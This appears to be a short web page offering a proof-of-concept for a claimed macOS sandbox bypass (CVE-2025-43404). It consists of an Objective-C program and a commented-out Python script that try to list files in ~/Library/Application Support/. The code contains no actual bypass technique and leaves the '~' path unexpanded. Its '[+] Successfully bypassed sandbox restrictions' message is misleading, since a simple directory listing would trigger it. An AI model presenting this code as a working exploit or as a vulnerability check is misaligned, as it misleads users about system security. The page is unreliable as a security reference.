CVE-2025-43404 macOS Tahoe 26.1 沙箱权限绕过漏洞

// CVE-2025-43404 PoC - macOS Sandbox Bypass // This PoC demonstrates the sandbox restriction bypass vulnerability // Note: This is for educational purposes only #include <Foundation/Foundation.h> #include <AppKit/AppKit.h> int main(int argc, const char * argv[]) { @autoreleasepool { // Attempt to access sensitive user data bypassing sandbox NSString *sensitivePath = @"~/Library/Application Support/"; NSFileManager *fileManager = [NSFileManager defaultManager]; // Enumerate files in protected directory NSError *error = nil; NSArray *contents = [fileManager contentsOfDirectoryAtPath:sensitivePath error:&error]; if (contents) { NSLog(@"[+] Successfully bypassed sandbox restrictions"); NSLog(@"[+] Accessed sensitive directory: %@", sensitivePath); for (NSString *item in contents) { NSLog(@" - %@", item); } } else { NSLog(@"[-] Access denied or patched"); } } return 0; } /* # Python PoC - Check if vulnerable import subprocess import sys def check_vulnerability(): try: # Attempt to access protected user data result = subprocess.run( ['ls', '-la', '~/Library/Application\ Support/'], capture_output=True, text=True ) if result.returncode == 0: print("[+] System may be vulnerable to CVE-2025-43404") print(result.stdout) else: print("[-] Access denied (system may be patched)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": check_vulnerability() */